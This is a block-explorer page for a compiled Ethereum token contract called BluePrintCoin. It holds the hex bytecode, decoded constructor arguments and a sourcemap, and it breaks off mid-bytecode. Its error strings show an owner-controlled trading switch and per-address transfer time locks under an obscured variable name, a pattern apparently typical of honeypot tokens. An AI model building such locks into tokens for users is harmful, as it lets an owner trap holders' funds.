9190611846565b60405180910390f35b61032c6004803603810190610327919061141e565b61117a565b6040516103399190611846565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b606060058054610384906119aa565b80601f01602080910402602001604051908101604052809291908181526020018280546103b0906119aa565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611846565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611806565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611746565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a190611786565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611766565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d19190611898565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108226113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461086b91906118ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cf9190611846565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094a6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610968610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ab4906119aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae0906119aa565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b610b3f6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a906117e6565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600460009054906101000a900460ff16610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611806565b60405180910390fd5b8160016000610cc76113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90611786565b60405180910390fd5b60036000610d4f6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390611766565b60405180910390fd5b8160016000610dd96113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2291906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e789190611898565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e9e6113aa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee39190611846565b60405180910390a36001905092915050565b610efd6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f68906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd8906117c6565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6110316113aa565b73ffffffffffffffffffffffffffffffffffffffff1661104f610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c906117a6565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90611826565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112096113aa565b73ffffffffffffffffffffffffffffffffffffffff16611227610a7c565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490611726565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506113c181611ca5565b92915050565b6000813590506113d681611cbc565b92915050565b6000813590506113eb81611cd3565b92915050565b60006020828403121561140757611406611a3a565b5b6000611415848285016113b2565b91505092915050565b6000806040838503121561143557611434611a3a565b5b6000611443858286016113b2565b9250506020611454858286016113b2565b9150509250929050565b60008060006060848603121561147757611476611a3a565b5b6000611485868287016113b2565b9350506020611496868287016113b2565b92505060406114a7868287016113dc565b9150509250925092565b600080604083850312156114c8576114c7611a3a565b5b60006114d6858286016113b2565b92505060206114e7858286016113dc565b9150509250929050565b60006020828403121561150757611506611a3a565b5b6000611515848285016113c7565b91505092915050565b61152781611922565b82525050565b61153681611934565b82525050565b60006115478261187c565b6115518185611887565b9350611561818560208601611977565b61156a81611a3f565b840191505092915050565b6000611582602683611887565b915061158d82611a50565b604082019050919050565b60006115a5602183611887565b91506115b082611a9f565b604082019050919050565b60006115c8603183611887565b91506115d382611aee565b604082019050919050565b60006115eb601f83611887565b91506115f682611b3d565b602082019050919050565b600061160e602083611887565b915061161982611b66565b602082019050919050565b6000611631602883611887565b915061163c82611b8f565b604082019050919050565b6000611654602b83611887565b915061165f82611bde565b604082019050919050565b6000611677601d83611887565b915061168282611c2d565b602082019050919050565b600061169a602f83611887565b91506116a582611c56565b604082019050919050565b6116b981611960565b82525050565b6116c88161196a565b82525050565b60006020820190506116e3600083018461151e565b92915050565b60006020820190506116fe600083018461152d565b92915050565b6000602082019050818103600083015261171e818461153c565b905092915050565b6000602082019050818103600083015261173f81611575565b9050919050565b6000602082019050818103600083015261175f81611598565b9050919050565b6000602082019050818103600083015261177f816115bb565b9050919050565b6000602082019050818103600083015261179f816115de565b9050919050565b600060208201905081810360008301526117bf81611601565b9050919050565b600060208201905081810360008301526117df81611624565b9050919050565b600060208201905081810360008301526117ff81611647565b9050919050565b6000602082019050818103600083015261181f8161166a565b9050919050565b6000602082019050818103600083015261183f8161168d565b9050919050565b600060208201905061185b60008301846116b0565b92915050565b600060208201905061187660008301846116bf565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118a382611960565b91506118ae83611960565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e3576118e26119dc565b5b828201905092915050565b60006118f982611960565b915061190483611960565b925082821015611917576119166119dc565b5b828203905092915050565b600061192d82611940565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561199557808201518184015260208101905061197a565b838111156119a4576000848401525b50505050565b600060028204905060018216806119c257607f821691505b602082108114156119d6576119d5611a0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722069732063757272656e746c79207265737472696374656460008201527f20666f7220746869732061646472657373000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e6e6f742073657420546672746e74747420666f7220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742072656d6f766520546672746e74747420666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b7f43616e6e6f7420717565727920546672746e7474742074696d6520666f72207460008201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b611cae81611922565b8114611cb957600080fd5b50565b611cc581611934565b8114611cd057600080fd5b50565b611cdc81611960565b8114611ce757600080fd5b5056fea2646970667358221220b135452f7cfb8b8874d8a883ef9b3c95b3acad4abe0d65c311812fb86f8685a864736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000d426c75655072696e74436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004426c756500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BluePrintCoin
Arg [1] : symbol_ (string): Blue
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 426c75655072696e74436f696e00000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 426c756500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3761:4916:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5200:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6278:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7655:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6555:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7986:688;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6464:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6663:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3112:148;;;:::i;:::-;;2650:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6369;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5728:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6889:546;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5403:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5041:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6019:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7504:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3395:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5200:96;5249:4;5273:15;;;;;;;;;;;5266:22;;5200:96;:::o;6278:83::-;6315:13;6348:5;6341:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6278:83;:::o;7655:220::-;7730:4;7784:6;7747:11;:25;7759:12;:10;:12::i;:::-;7747:25;;;;;;;;;;;;;;;:34;7773:7;7747:34;;;;;;;;;;;;;;;:43;;;;7829:7;7806:39;;7815:12;:10;:12::i;:::-;7806:39;;;7838:6;7806:39;;;;;;:::i;:::-;;;;;;;;7863:4;7856:11;;7655:220;;;;:::o;6555:100::-;6608:7;6635:12;;6628:19;;6555:100;:::o;7986:688::-;8084:4;8109:15;;;;;;;;;;;8101:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8214:6;8177:11;:19;8189:6;8177:19;;;;;;;;;;;;;;;:33;8197:12;:10;:12::i;:::-;8177:33;;;;;;;;;;;;;;;;:43;;8169:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;8298:6;8277:9;:17;8287:6;8277:17;;;;;;;;;;;;;;;;:27;;8269:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8378:18;:26;8397:6;8378:26;;;;;;;;;;;;;;;;8359:15;:45;;8351:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;8492:6;8471:9;:17;8481:6;8471:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;8533:6;8509:9;:20;8519:9;8509:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8587:6;8550:11;:19;8562:6;8550:19;;;;;;;;;;;;;;;:33;8570:12;:10;:12::i;:::-;8550:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;8626:9;8609:35;;8618:6;8609:35;;;8637:6;8609:35;;;;;;:::i;:::-;;;;;;;;8662:4;8655:11;;7986:688;;;;;:::o;6464:83::-;6505:5;6530:9;;;;;;;;;;;6523:16;;6464:83;:::o;6663:119::-;6729:7;6756:9;:18;6766:7;6756:18;;;;;;;;;;;;;;;;6749:25;;6663:119;;;:::o;3112:148::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3219:1:::1;3182:40;;3203:6;::::0;::::1;;;;;;;;3182:40;;;;;;;;;;;;3250:1;3233:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3112:148::o:0;2650:87::-;2696:7;2723:6;;;;;;;;;;;2716:13;;2650:87;:::o;6369:::-;6408:13;6441:7;6434:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6369:87;:::o;5728:207::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5832:1:::1;5813:21;;:7;:21;;;;5805:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;5900:18;:27;5919:7;5900:27;;;;;;;;;;;;;;;5893:34;;;5728:207:::0;:::o;6889:546::-;6975:4;7000:15;;;;;;;;;;;6992:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7095:6;7068:9;:23;7078:12;:10;:12::i;:::-;7068:23;;;;;;;;;;;;;;;;:33;;7060:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;7175:18;:32;7194:12;:10;:12::i;:::-;7175:32;;;;;;;;;;;;;;;;7156:15;:51;;7148:113;;;;;;;;;;;;:::i;:::-;;;;;;;;;7301:6;7274:9;:23;7284:12;:10;:12::i;:::-;7274:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;7342:6;7318:9;:20;7328:9;7318:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;7387:9;7364:41;;7373:12;:10;:12::i;:::-;7364:41;;;7398:6;7364:41;;;;;;:::i;:::-;;;;;;;;7423:4;7416:11;;6889:546;;;;:::o;5403:215::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5518:1:::1;5499:21;;:7;:21;;;;5491:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5606:4;5576:18;:27;5595:7;5576:27;;;;;;;;;;;;;;;:34;;;;5403:215:::0;;:::o;5041:102::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5128:7:::1;5110:15;;:25;;;;;;;;;;;;;;;;;;5041:102:::0;:::o;6019:217::-;6082:7;6129:1;6110:21;;:7;:21;;;;6102:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;6201:18;:27;6220:7;6201:27;;;;;;;;;;;;;;;;6194:34;;6019:217;;;:::o;7504:143::-;7585:7;7612:11;:18;7624:5;7612:18;;;;;;;;;;;;;;;:27;7631:7;7612:27;;;;;;;;;;;;;;;;7605:34;;7504:143;;;;:::o;3395:244::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3504:1:::1;3484:22;;:8;:22;;;;3476:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3594:8;3565:38;;3586:6;::::0;::::1;;;;;;;;3565:38;;;;;;;;;;;;3623:8;3614:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3395:244:::0;:::o;1674:168::-;1727:15;1770:10;1755:26;;1674:168;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;195:5;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;337:5;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:329::-;495:6;544:2;532:9;523:7;519:23;515:32;512:2;;;550:79;;:::i;:::-;512:2;670:1;695:53;740:7;731:6;720:9;716:22;695:53;:::i;:::-;685:63;;641:117;502:263;;;;:::o;771:474::-;839:6;847;896:2;884:9;875:7;871:23;867:32;864:2;;;902:79;;:::i;:::-;864:2;1022:1;1047:53;1092:7;1083:6;1072:9;1068:22;1047:53;:::i;:::-;1037:63;;993:117;1149:2;1175:53;1220:7;1211:6;1200:9;1196:22;1175:53;:::i;:::-;1165:63;;1120:118;854:391;;;;;:::o;1251:619::-;1328:6;1336;1344;1393:2;1381:9;1372:7;1368:23;1364:32;1361:2;;;1399:79;;:::i;:::-;1361:2;1519:1;1544:53;1589:7;1580:6;1569:9;1565:22;1544:53;:::i;:::-;1534:63;;1490:117;1646:2;1672:53;1717:7;1708:6;1697:9;1693:22;1672:53;:::i;:::-;1662:63;;1617:118;1774:2;1800:53;1845:7;1836:6;1825:9;1821:22;1800:53;:::i;:::-;1790:63;;1745:118;1351:519;;;;;:::o;1876:474::-;1944:6;1952;2001:2;1989:9;1980:7;1976:23;1972:32;1969:2;;;2007:79;;:::i;:::-;1969:2;2127:1;2152:53;2197:7;2188:6;2177:9;2173:22;2152:53;:::i;:::-;2142:63;;2098:117;2254:2;2280:53;2325:7;2316:6;2305:9;2301:22;2280:53;:::i;:::-;2270:63;;2225:118;1959:391;;;;;:::o;2356:323::-;2412:6;2461:2;2449:9;2440:7;2436:23;2432:32;2429:2;;;2467:79;;:::i;:::-;2429:2;2587:1;2612:50;2654:7;2645:6;2634:9;2630:22;2612:50;:::i;:::-;2602:60;;2558:114;2419:260;;;;:::o;2685:118::-;2772:24;2790:5;2772:24;:::i;:::-;2767:3;2760:37;2750:53;;:::o;2809:109::-;2890:21;2905:5;2890:21;:::i;:::-;2885:3;2878:34;2868:50;;:::o;2924:364::-;3012:3;3040:39;3073:5;3040:39;:::i;:::-;3095:71;3159:6;3154:3;3095:71;:::i;:::-;3088:78;;3175:52;3220:6;3215:3;3208:4;3201:5;3197:16;3175:52;:::i;:::-;3252:29;3274:6;3252:29;:::i;:::-;3247:3;3243:39;3236:46;;3016:272;;;;;:::o;3294:366::-;3436:3;3457:67;3521:2;3516:3;3457:67;:::i;:::-;3450:74;;3533:93;3622:3;3533:93;:::i;:::-;3651:2;3646:3;3642:12;3635:19;;3440:220;;;:::o;3666:366::-;3808:3;3829:67;3893:2;3888:3;3829:67;:::i;:::-;3822:74;;3905:93;3994:3;3905:93;:::i;:::-;4023:2;4018:3;4014:12;4007:19;;3812:220;;;:::o;4038:366::-;4180:3;4201:67;4265:2;4260:3;4201:67;:::i;:::-;4194:74;;4277:93;4366:3;4277:93;:::i;:::-;4395:2;4390:3;4386:12;4379:19;;4184:220;;;:::o;4410:366::-;4552:3;4573:67;4637:2;4632:3;4573:67;:::i;:::-;4566:74;;4649:93;4738:3;4649:93;:::i;:::-;4767:2;4762:3;4758:12;4751:19;;4556:220;;;:::o;4782:366::-;4924:3;4945:67;5009:2;5004:3;4945:67;:::i;:::-;4938:74;;5021:93;5110:3;5021:93;:::i;:::-;5139:2;5134:3;5130:12;5123:19;;4928:220;;;:::o;5154:366::-;5296:3;5317:67;5381:2;5376:3;5317:67;:::i;:::-;5310:74;;5393:93;5482:3;5393:93;:::i;:::-;5511:2;5506:3;5502:12;5495:19;;5300:220;;;:::o;5526:366::-;5668:3;5689:67;5753:2;5748:3;5689:67;:::i;:::-;5682:74;;5765:93;5854:3;5765:93;:::i;:::-;5883:2;5878:3;5874:12;5867:19;;5672:220;;;:::o;5898:366::-;6040:3;6061:67;6125:2;6120:3;6061:67;:::i;:::-;6054:74;;6137:93;6226:3;6137:93;:::i;:::-;6255:2;6250:3;6246:12;6239:19;;6044:220;;;:::o;6270:366::-;6412:3;6433:67;6497:2;6492:3;6433:67;:::i;:::-;6426:74;;6509:93;6598:3;6509:93;:::i;:::-;6627:2;6622:3;6618:12;6611:19;;6416:220;;;:::o;6642:118::-;6729:24;6747:5;6729:24;:::i;:::-;6724:3;6717:37;6707:53;;:::o;6766:112::-;6849:22;6865:5;6849:22;:::i;:::-;6844:3;6837:35;6827:51;;:::o;6884:222::-;6977:4;7015:2;7004:9;7000:18;6992:26;;7028:71;7096:1;7085:9;7081:17;7072:6;7028:71;:::i;:::-;6982:124;;;;:::o;7112:210::-;7199:4;7237:2;7226:9;7222:18;7214:26;;7250:65;7312:1;7301:9;7297:17;7288:6;7250:65;:::i;:::-;7204:118;;;;:::o;7328:313::-;7441:4;7479:2;7468:9;7464:18;7456:26;;7528:9;7522:4;7518:20;7514:1;7503:9;7499:17;7492:47;7556:78;7629:4;7620:6;7556:78;:::i;:::-;7548:86;;7446:195;;;;:::o;7647:419::-;7813:4;7851:2;7840:9;7836:18;7828:26;;7900:9;7894:4;7890:20;7886:1;7875:9;7871:17;7864:47;7928:131;8054:4;7928:131;:::i;:::-;7920:139;;7818:248;;;:::o;8072:419::-;8238:4;8276:2;8265:9;8261:18;8253:26;;8325:9;8319:4;8315:20;8311:1;8300:9;8296:17;8289:47;8353:131;8479:4;8353:131;:::i;:::-;8345:139;;8243:248;;;:::o;8497:419::-;8663:4;8701:2;8690:9;8686:18;8678:26;;8750:9;8744:4;8740:20;8736:1;8725:9;8721:17;8714:47;8778:131;8904:4;8778:131;:::i;:::-;8770:139;;8668:248;;;:::o;8922:419::-;9088:4;9126:2;9115:9;9111:18;9103:26;;9175:9;9169:4;9165:20;9161:1;9150:9;9146:17;9139:47;9203:131;9329:4;9203:131;:::i;:::-;9195:139;;9093:248;;;:::o;9347:419::-;9513:4;9551:2;9540:9;9536:18;9528:26;;9600:9;9594:4;9590:20;9586:1;9575:9;9571:17;9564:47;9628:131;9754:4;9628:131;:::i;:::-;9620:139;;9518:248;;;:::o;9772:419::-;9938:4;9976:2;9965:9;9961:18;9953:26;;10025:9;10019:4;10015:20;10011:1;10000:9;9996:17;9989:47;10053:131;10179:4;10053:131;:::i;:::-;10045:139;;9943:248;;;:::o;10197:419::-;10363:4;10401:2;10390:9;10386:18;10378:26;;10450:9;10444:4;10440:20;10436:1;10425:9;10421:17;10414:47;10478:131;10604:4;10478:131;:::i;:::-;10470:139;;10368:248;;;:::o;10622:419::-;10788:4;10826:2;10815:9;10811:18;10803:26;;10875:9;10869:4;10865:20;10861:1;10850:9;10846:17;10839:47;10903:131;11029:4;10903:131;:::i;:::-;10895:139;;10793:248;;;:::o;11047:419::-;11213:4;11251:2;11240:9;11236:18;11228:26;;11300:9;11294:4;11290:20;11286:1;11275:9;11271:17;11264:47;11328:131;11454:4;11328:131;:::i;:::-;11320:139;;11218:248;;;:::o;11472:222::-;11565:4;11603:2;11592:9;11588:18;11580:26;;11616:71;11684:1;11673:9;11669:17;11660:6;11616:71;:::i;:::-;11570:124;;;;:::o;11700:214::-;11789:4;11827:2;11816:9;11812:18;11804:26;;11840:67;11904:1;11893:9;11889:17;11880:6;11840:67;:::i;:::-;11794:120;;;;:::o;12001:99::-;12053:6;12087:5;12081:12;12071:22;;12060:40;;;:::o;12106:169::-;12190:11;12224:6;12219:3;12212:19;12264:4;12259:3;12255:14;12240:29;;12202:73;;;;:::o;12281:305::-;12321:3;12340:20;12358:1;12340:20;:::i;:::-;12335:25;;12374:20;12392:1;12374:20;:::i;:::-;12369:25;;12528:1;12460:66;12456:74;12453:1;12450:81;12447:2;;;12534:18;;:::i;:::-;12447:2;12578:1;12575;12571:9;12564:16;;12325:261;;;;:::o;12592:191::-;12632:4;12652:20;12670:1;12652:20;:::i;:::-;12647:25;;12686:20;12704:1;12686:20;:::i;:::-;12681:25;;12725:1;12722;12719:8;12716:2;;;12730:18;;:::i;:::-;12716:2;12775:1;12772;12768:9;12760:17;;12637:146;;;;:::o;12789:96::-;12826:7;12855:24;12873:5;12855:24;:::i;:::-;12844:35;;12834:51;;;:::o;12891:90::-;12925:7;12968:5;12961:13;12954:21;12943:32;;12933:48;;;:::o;12987:126::-;13024:7;13064:42;13057:5;13053:54;13042:65;;13032:81;;;:::o;13119:77::-;13156:7;13185:5;13174:16;;13164:32;;;:::o;13202:86::-;13237:7;13277:4;13270:5;13266:16;13255:27;;13245:43;;;:::o;13294:307::-;13362:1;13372:113;13386:6;13383:1;13380:13;13372:113;;;13471:1;13466:3;13462:11;13456:18;13452:1;13447:3;13443:11;13436:39;13408:2;13405:1;13401:10;13396:15;;13372:113;;;13503:6;13500:1;13497:13;13494:2;;;13583:1;13574:6;13569:3;13565:16;13558:27;13494:2;13343:258;;;;:::o;13607:320::-;13651:6;13688:1;13682:4;13678:12;13668:22;;13735:1;13729:4;13725:12;13756:18;13746:2;;13812:4;13804:6;13800:17;13790:27;;13746:2;13874;13866:6;13863:14;13843:18;13840:38;13837:2;;;13893:18;;:::i;:::-;13837:2;13658:269;;;;:::o;13933:180::-;13981:77;13978:1;13971:88;14078:4;14075:1;14068:15;14102:4;14099:1;14092:15;14119:180;14167:77;141